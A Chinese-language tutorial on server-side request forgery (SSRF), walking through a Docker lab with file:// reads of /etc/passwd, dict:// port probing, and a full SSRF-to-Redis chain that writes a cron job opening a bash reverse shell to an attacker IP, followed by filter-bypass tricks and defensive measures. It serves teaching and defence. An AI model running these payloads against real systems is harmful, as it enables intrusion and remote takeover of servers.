[漏洞篇]SSRF漏洞詳解

[漏洞篇]SSRF漏洞詳解

免責聲明: 本文主要講解漏洞原理,以及防御手段,旨在幫助大家更好的了解漏洞危害,以及開發中所需要的點,切勿拿來做違法事情,否則后果自負。

一、介紹

概念

SSRF:服務端請求偽造,意思就是偽造服務器對內網中的其他服務發起攻擊(冒充服務器身份與其他服務器通信,獲取敏感信息,shell等)。

  • SSRF (全稱:Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF 攻擊的目標是從外網無法訪問的內部系統。

  • 攻擊者從外網通過 SSRF 攻擊訪問到內網,接著對內網的應用展開攻擊,這些應用包括但不限于 MySQL,Redis,SMTP 等等

  • 與CSRF的區別及聯系:

    1. SSRF:欺騙服務器“自己人”去干壞事。
    2. CSRF:欺騙瀏覽器“以你的名義”去干壞事。

在這里插入圖片描述

危害

主要分為兩個方向,SSRF 利用相關的危險函數;SSRF 可利用的協議操作

  • 高危:可穿透內網邊界,導致內網滲透、數據泄露、遠程代碼執行(RCE)等。
  • 常見攻擊場景:
    • 讀取服務器本地文件(如 /etc/passwd)
    • 掃描內網服務(如: Redis、MySQL 未授權訪問)
    • 訪問云服務元數據(如 AWS/Aliyun 的 IAM 憑證)
    • 攻擊內網應用(如 Jenkins、Kubernetes API)
    • 作為跳板發起DDoS攻擊

原理

SSRF 形成的原因大都是由于服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。比如從指定 URL 地址獲取網頁文本內容,加載指定地址的圖片,下載等等。

觸發條件:

  1. 服務端存在從客戶端獲取URL參數的接口
  2. 服務端直接使用該URL發起網絡請求(如 HTTP、FTP、FILE、DICT 協議)
  3. 未對URL協議、目標地址、路徑做嚴格過濾

二、實戰演示

靶場搭建

  1. docker拉取并運行容器
# 使用docker搭建SSRF靶場
docker run -d -p 8765:80 8023/pikachu-expect:latest
  1. 訪問:http://localhost:8765/
  2. 初始化靶場:
    在這里插入圖片描述
  3. 點擊安裝/初始化:
    在這里插入圖片描述

實戰

Pass01:SSRF(curl)

  1. 左側導航欄選擇SSRF(curl)
    在這里插入圖片描述
  2. 點擊訪問
    在這里插入圖片描述
    在這里插入圖片描述

這里將URL后面的127.0.0.1換成其他服務器IP也一樣,只要是內網的服務IP

下面我們將針對CURL類型進行SSRF攻擊:

1、通過網址訪問鏈接

比如說修改url為:url=http://www.baidu.com,訪問百度頁面:
在這里插入圖片描述
當然我們也可以通過此方式向內網中的其他服務發起GET請求。

2、利用file協議查看本地文件

修改url為:url=file:///etc/passwd,查看敏感文件的內容:
在這里插入圖片描述

3、dict協議掃描內網主機開放端口

使用dict協議可以獲取內網主機開放端口相應服務的指紋信息,比如說內網主機開了http端口的話,可以修改url為:url=dict://172.17.0.3:80

  • dict協議 是一種字典協議,常用于探測內網主機和端口開放情況。它可以執行一些服務的命令,如Redis

在這里插入圖片描述

如果頁面未反顯內容則表示未開放對應端口或被攔截:
在這里插入圖片描述

Pass02:file_get_content

進入第二關,我們可以發現本關是通過file協議來進行數據的獲取。因此我們可以利用file協議進行攻擊。
在這里插入圖片描述

1、file讀取本地文件

修改file為:file=file://etc/passwd,查看文件的內容:

在這里插入圖片描述

2、http協議請求內網資源

這里請求內網其他機器的資源,修改file為:file=http://172.17.0.3/hack.html,查看文件的內容:

這里的內網資源是本地又搭建了一個docker nginx,因為docker搭建的容器默認會有一個共同docker網卡,剛好可以模擬內網資源。

# docker搭建nginx
docker pull nginx
docker run -d -p 8888:80 nginx
#更新apt鏡像
apt update
#安裝ifconfig命令,方便查看ip地址
apt install net-tools

在這里插入圖片描述

SSRF反彈Shell

①環境準備
  1. 準備一臺服務器(docker搭建也可),安裝并運行redis
  2. redis需要關閉保護模式等
##允許所有IP訪問(關閉保護模式)
bind 0.0.0.0
protected-mode no
  1. 準備一個攻擊機器(我這里以我本地Mac為例),且與ssrf靶場和redis互通
  2. ssrf靶場(172.17.0.2)與redis(172.17.0.4)互通
②探測內網服務端口

根據常用端口進行探測,我這里以Redis 6379為例。可以看到下面頁面返回OK,表示命令成功運行,表示ssrf靶場(172.17.0.2)可以與redis(172.17.0.4),處在同一個內網中。可以實施SSRF漏洞以反彈shell。

  • 我這里的localhost:8765實際訪問的是docker的ssrf靶場(172.17.0.2)

在這里插入圖片描述

③通過cron實現反彈shell
  1. 本地mac(攻擊機)執行命令,監聽端口
nc -lv 7777

在這里插入圖片描述

  1. 通過dict協議驗證是否可以正常執行redis命令

首先我們通過redis ping命令,發現dict協議可以執行redis命令并正常返回結果。
在這里插入圖片描述

  1. 通過redis 備份文件+cron表達式實現核心反彈邏輯
# 1 利用SSRF漏洞:
攻擊者通過Web應用的SSRF漏洞,誘使服務器向內部Redis服務發送惡意請求。
# 2 攻擊Redis服務:
Redis未設置密碼,允許遠程執行命令。
通過Redis的CONFIG SET命令修改持久化目錄和文件名,指向Cron任務目錄(如/var/spool/cron/root)。
# 3 寫入反彈Shell命令到Cron任務文件
配置Cron定時任務每分鐘執行一次。
# 4 Cron定時任務觸發反彈Shell:
Cron服務讀取惡意任務文件,定時執行反彈Shell命令。目標服務器主動連接攻擊機,建立反向Shell會話。
# 設置要操作的路徑為定時任務目錄
dict://172.17.0.4:6379/config set dir /var/spool/cron/crontabs # 在定時任務目錄下創建 root 的定時任務文件
dict://172.17.0.4:6379/config set dbfilename root # 寫入 Bash 反彈 shell 的payload (10.35.16.14為攻擊機IP),如果執行失敗,則對下面redis命令進行urlencode
# dict://172.17.0.4:6379/set x "\n* * * * * /bin/bash -l -c '/bin/bash -i >& /dev/tcp/10.35.16.14/7777 0>&1'\n" 
dict://172.17.0.4:6379/set+x+%22%5cn*+*+*+*+*+%2fbin%2fbash+-l+-c+%27%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f10.35.16.14%2f7777+0%3e%261%27%5cn%22+# 執行redis save備份數據命令,觸發文件落地
dict://172.17.0.4:6379/save

拓展:

  • 反彈shell:假設你是一個黑客,目標服務器是一棟有保安(防火墻)的大樓。你想進入大樓,但保安禁止外人進入(防火墻阻擋外部主動連接)。于是你在大樓內安裝一個“自動撥號器”(反彈Shell腳本),讓它定時打電話到你的手機(攻擊機IP+端口),建立一條秘密通話通道(Shell連接)。這樣,保安不會阻止大樓內部主動撥出的電話,你就能遠程控制大樓了。
  • 簡單來說反彈shell:目標服務器主動連接攻擊者的監聽端口(繞過防火墻,常用于內網滲透)
  1. 查看Redis配置是否寫入成功
    在這里插入圖片描述
  2. 查看cron定時任務文件是否寫入成功:
    在這里插入圖片描述
  3. 等待cron定時任務運行(我上面配置的是每分鐘執行一次),因此一分鐘之后可以看到,反彈shell成功:
    在這里插入圖片描述
    以root身份對服務器進行操作(創建文件,查看效果):
    在這里插入圖片描述
    針對此情況,對應防御手段:
  1. Redis加固:設置強密碼(requirepass)。
  2. 禁用高危命令( config set dir xxx)。
  3. 綁定IP(bind 127.0.0.1)。
  4. Cron防護:限制Cron任務目錄權限(chmod 600 /var/spool/cron/*)。使用cron.allow和cron.deny控制用戶權限。
  5. SSRF防御:禁用危險協議(allow_url_fopen=Off)。校驗請求目標是否為合法域名/IP。

三、繞過手段

1.@符號繞過

在某地址1后添加@再次添加地址2,瀏覽器會自動返回地址2數據

http://www.xxx.com@www.baidu.com/

在這里插入圖片描述

2.IP編碼繞過

例如:120.26.86.156
二進制 = 1111000000110100101011010011100
十六進制 = 0x781A569C
十進制 = 2014992028

3. 轉換短網址

例:
http://www.kxsy.work/ = http://www。kxsy。work/
localhost或者0.0.0.0

4. 302重定向跳轉繞過

若傳入的私網地址被限制可以使用302重定向繞過。這需要一臺公網服務器和它的公網IP,在服務器中創建重定向的代碼文件,提交公網IP路徑下的重定向代碼文件,使SSRF漏洞服務器或主機訪問從而重定向到自己內網地址或本機地址。

  • 通過構造一個外部可控的重定向服務,讓服務器在第一次校驗URL合法性后,通過HTTP 302狀態碼跳轉至內網目標地址。由于部分SSRF防護僅校驗初始請求的URL,而未跟蹤后續跳轉,從而繞過限制

5. xip.io繞過:會將解析到子域

利用xip.io等動態DNS服務,將域名解析到任意IP地址。例如,10.0.0.1.xip.io會自動解析到10.0.0.1,從而繞過基于黑名單的IP過濾機制

6. 利用Enclosed alphanumerics繞過

利用Enclosed alphanumerics
???????.??? >>> http://example.com

7. 其他協議繞過(Dict、Gopher等)

配合File、GOPHER等協議的對目標進行信息探測。

例如使用非http協議:

  • gopher://:構造Redis未授權訪問命令
  • dict://:探測端口服務

四、防御手段

1、過濾返回的信息

  • 禁止返回詳細錯誤信息(如端口狀態),避免信息泄露。
  • 對響應內容進行安全檢查,防止敏感數據外傳。

2、自定義端口的錯誤頁面,避免被區分

3、限制端口/IP請求

4、 限制協議等

// Java示例:禁用file、gopher協議
System.setProperty("jdk.http.auth.proxying.disabledSchemes", "file gopher");

5、URL白名單訪問資源

6. 服務降權

以非root用戶運行服務進程,使用容器隔離(如Docker)

相關文章:
https://xz.aliyun.com/news/7001
https://blog.csdn.net/web22050702/article/details/145682941
https://www.gbsec.top/

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/76199.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/76199.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/76199.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

nuscenes數據集分析

nuscenes數據集分析 標注與總體介紹 nuscenes包含有相機、激光雷達、毫米波雷達、IMU與GPS等設備提供的數據。它的數據采集了1000個場景,每個場景大約有20s,針對目標檢測任務,對23類物體進行標注,且以2Hz的頻率提供精確的三維目標…

JavaScript學習教程,從入門到精通,JavaScript 運算符及語法知識點詳解(8)

JavaScript 運算符及語法知識點詳解 一、JavaScript 運算符 1. 算術運算符 用于執行數學運算: 加法- 減法* 乘法/ 除法% 取模(余數) 遞增-- 遞減** 冪運算(ES6) let a 10, b 3; console.log(a b); // 13 conso…

Shell腳本的學習

編寫腳本文件 定義以開頭:#!/bin/bash #!用來聲明腳本由什么shell解釋,否則使用默認shel 第一步:編寫腳本文件 #!/bin/bash #注釋 echo "這是輸出" 第二步:加上執行權限:chmod x 腳本文件名.sh 第三步&…

在線PDF文件拆分工具,小白工具功能實用操作簡單,無需安裝的文檔處理工具

小白工具中的在線 PDF 文件拆分工具是一款功能實用、操作便捷的文檔處理工具,以下是其具體介紹: 操作流程 上傳 PDF 文檔:打開小白工具在線PDF文件拆分工具 - 快速、免費拆分PDF文檔 - 小白工具的在線 PDF 文件拆分頁面,通過點擊 …

數字的乘階運算

求數字的乘階: 例如:6的乘階運算:6*5*4*3*2*1 例如:3的乘階運算:3*2*1 class Program{static void Main(string[] args){Console.WriteLine("請輸入數字:");int num_01 Convert.ToInt32 (Con…

tcp/ip攻擊及防范

作為高防工程師,我每天攔截數以萬計的惡意流量,其中TCP/IP協議層攻擊是最隱蔽、最具破壞性的威脅之一。常見的攻擊手法包括: 1. SYN Flood攻擊:攻擊者發送大量偽造的SYN包,耗盡服務器連接資源,導致正常用…

C++類成員內存分布詳解

本文將探討C類中成員變量的內存分布情況,包括普通成員、靜態成員、虛函數等不同情況下的內存布局。 一、基本成員內存布局 1. 普通成員變量 普通成員變量按照聲明順序在內存中連續排列(受訪問修飾符和內存對齊影響): class Nor…

計算機視覺——為什么 mAP 是目標檢測的黃金標準

概述 在目標檢測領域,有一個指標被廣泛認為是衡量模型性能的“黃金標準”,它就是 mAP(Mean Average Precision,平均精確率均值)。如果你曾經接觸過目標檢測模型(如 YOLO、Faster R-CNN 或 SSD)…

C語言單鏈表的增刪改補

目錄 (一)單鏈表的結構定義及初始化 (二)單鏈表的尾插,頭插 (三)單鏈表的尾刪,頭刪 (四)單鏈表的查找,刪除,銷毀 單鏈表是數據結構課程里的第二個數據結構。單鏈表在邏輯結構是連續的,在物理…

Android10.0 framework第三方無源碼APP讀寫斷電后數據丟失問題解決

1.前言 在10.0中rom定制化開發中,在某些產品開發中,在某些情況下在App用FileOutputStream讀寫完畢后,突然斷電 會出現寫完的數據丟失的問題,接下來就需要分析下關于使用FileOutputStream讀寫數據的相關流程,來實現相關 功能 2.framework第三方無源碼APP讀寫斷電后數據丟…

殺戮尖塔(Slay The Spire) 的全新角色模組 - 女巫

女巫(The Witch) 殺戮尖塔(Slay The Spire) 的全新角色模組 女巫模組為游戲增添了超過 75 張新卡牌和 4 個全新遺物,圍繞 詛咒(Curses) 展開獨特的玩法體驗。她的起始遺物 黑貓(Bl…

AI開發學習路線(闖關升級版)

以下是一份輕松版AI開發學習路線,用「闖關升級」的方式幫你從零開始變身AI開發者,每個階段都配有有趣的任務和實用資源,保證不枯燥、可落地!👇 目錄 🔰 新手村:打基礎(1-2個月&…

迭代器模式深度解析與實戰案例

一、模式定義 迭代器模式(Iterator Pattern) 是一種行為設計模式,提供一種方法順序訪問聚合對象的元素,無需暴露其底層表示。核心思想是將遍歷邏輯從聚合對象中分離,實現 遍歷與存儲的解耦。 二、核心組件 組件作用…

SSH遠程工具

一、常見SSH遠程工具 工具開源跨平臺多標簽文件傳輸高級功能價格Xshell?Win????腳本、會話管理免費/商業版Tabby??全平臺????插件擴展免費MobaXterm?Win????集成工具集免費/付費SecureCRT?Win/macOS/Linux????企業級加密$129+PuTTY??全平臺??基礎連接…

VUE中的路由處理

1.引入,預處理main.ts import {} from vue-router import { createRouter, createWebHistory } from vue-router import HomePages from @/pages/HomePages.vue import AboutPage from @/pages/AboutPage.vue import NewsPage from @/pages/NewsPage.vue //1. 配置路由規…

編程助手fitten code使用說明(超詳細)(vscode)

這兩年 AI 發展迅猛,作為開發人員,我們總是追求更快、更高效的工作方式,AI 的出現可以說改變了很多人的編程方式。 AI 對我們來說就是一個可靠的編程助手,給我們提供了實時的建議和解決方,無論是快速修復錯誤、提升代…

Opencv計算機視覺編程攻略-第九節 描述和匹配興趣點

一般而言,如果一個物體在一幅圖像中被檢測到關鍵點,那么同一個物體在其他圖像中也會檢測到同一個關鍵點。圖像匹配是關鍵點的常用功能之一,它的作用包括關聯同一場景的兩幅圖像、檢測圖像中事物的發生地點等等。 1.局部模板匹配 憑單個像素就…

C++內存管理優化實戰:提升應用性能與效率

🧑 博主簡介:CSDN博客專家、CSDN平臺優質創作者,高級開發工程師,數學專業,擁有高級工程師證書;擅長C/C、C#等開發語言,熟悉Java常用開發技術,能熟練應用常用數據庫SQL server,Oracle…

17-產品經理-創建發布

點擊“發布”-“創建發布”。 填寫發布名稱,選擇測試的版本。還可以設置此次發布是否為“里程碑”。 點擊“保存”后,進入該發布詳情頁面。需要為此次發布關聯需求、已解決BUG、以及遺留BUG。可以通過設置條件,進行“搜索”,然后批…

Axure RP9.0教程 | 內聯框架 對應html 元素中的iframe標簽 (打開內部頁面和外部網址)

文章目錄 引言I 打開內部頁面II 打開外部網址操作效果引言 應用場景: 選擇右側不同欄目,左側內容發生變化 I 打開內部頁面 在公用元件庫中找到內聯框架圖標,將其拖到畫布中,設置其寬、高;在右側添加三個按鈕,分別用來跳轉三個不同的頁面;在內部框架中,添加三個子頁面,…